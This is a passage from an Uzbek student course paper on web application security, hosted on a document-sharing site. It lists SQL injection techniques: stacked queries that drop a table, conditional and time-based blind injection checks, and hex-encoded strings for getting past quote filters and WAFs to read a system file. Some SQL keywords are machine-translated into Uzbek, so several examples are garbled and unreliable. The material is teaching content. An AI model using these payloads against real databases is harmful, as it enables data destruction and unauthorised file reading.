«veb dasturlar xavfsizligi»


So'rovlarning ketma-ketligi



Download 410,37 Kb.
bet4/14
Sana03.07.2022
Hajmi410,37 Kb.
#737373
1   2   3   4   5   6   7   8   9   ...   14
Bog'liq
kurs ishi1 (1)

3. So'rovlarning ketma-ketligi
Bir vaqtning o'zida bir nechta so'rovlarni bajarishga imkon beradi. In'ektsiyaning har qanday nuqtasida foydalidir.


    1. Rasm Qo’lab quvatlaydigan va qo’lab quvvatlamaydigan texnologiyalar

Yashil - qo'llab-quvvatlanadi; qora - qo'llab-quvvatlanmaydi; kulrang noma'lum.


Sintaksis:
; (S): TANLASH * FROM a'zolari; DROP a'zolari--
Bitta talab tugadi, keyingisi boshlandi.
Misol:
ID: 10; DROP a'zolari -
Yaratilgan so'rov: SELECT * FROM mahsulotlar WHER id \u003d 10; DROP a'zolari--
Ushbu so'rov oddiy so'rovdan keyin a'zolar jadvalini o'chirib tashlaydi.
4. Shartli operatorlar
Shart bajarilganida biz so'rovga javob olamiz. Bu ko'r in'ektsiyasining asosiy nuqtalaridan biridir. Bundan tashqari, oddiy narsalarni aniq tekshirishga yordam beradi.
Sintaksis:
IF (shart, haqiqiy qismi, noto'g'ri qismi) (M): TANLASH IF (1 \u003d 1, "true", "false")
Agar "ELSE" ning noto'g'ri qismi (S) shart bo'lsa: IF (1 \u003d 1) "haqiqiy" ni tanlasangiz, "noto'g'ri" ELSE SELECT "false"
AGAR shart bo'lsa; ELSE noto'g'ri qismi; END IF; ENDI (O): IF (1 \u003d 1) ULAR dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); END IF; ENDI
SELECT CASE WHEN shart bo'lganda ELSE false-qism END; (P): QANDAY QILIB TANLASH (1 \u003d 1) BU "A" ELSE "B" END;
misol:
agar ((foydalanuvchini tanlang) \u003d "sa" YOKI (foydalanuvchini tanlang) \u003d "dbo") yana 1 ni tanlang 1/0 (S)
Agar joriy foydalanuvchi "sa" yoki "dbo" bo'lmasa, nol xato bilan bo'linishni keltirib chiqaradi.
5. Raqamlardan foydalanish
WAF-ni o'z ichiga olgan magic_quotes () va shunga o'xshash filtrlarni chetlab o'tish uchun ishlatiladi.
Sintaksis:
0xHEX_NUMBER (SM):
TANLASH CHAR (0x66) (S)
0x5045 ni tanlang (bu raqam emas, lekin satr) (M)
0x50 + 0x45 ni tanlang (hozir bu raqam) (M)
Misollar:
YO'Q TANLASH_FILE (0x633A5C626F6F742E696E69) (M)
C: \\ boot.ini faylining tarkibini ko'rsating

Download 410,37 Kb.

Do'stlaringiz bilan baham:
1   2   3   4   5   6   7   8   9   ...   14




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish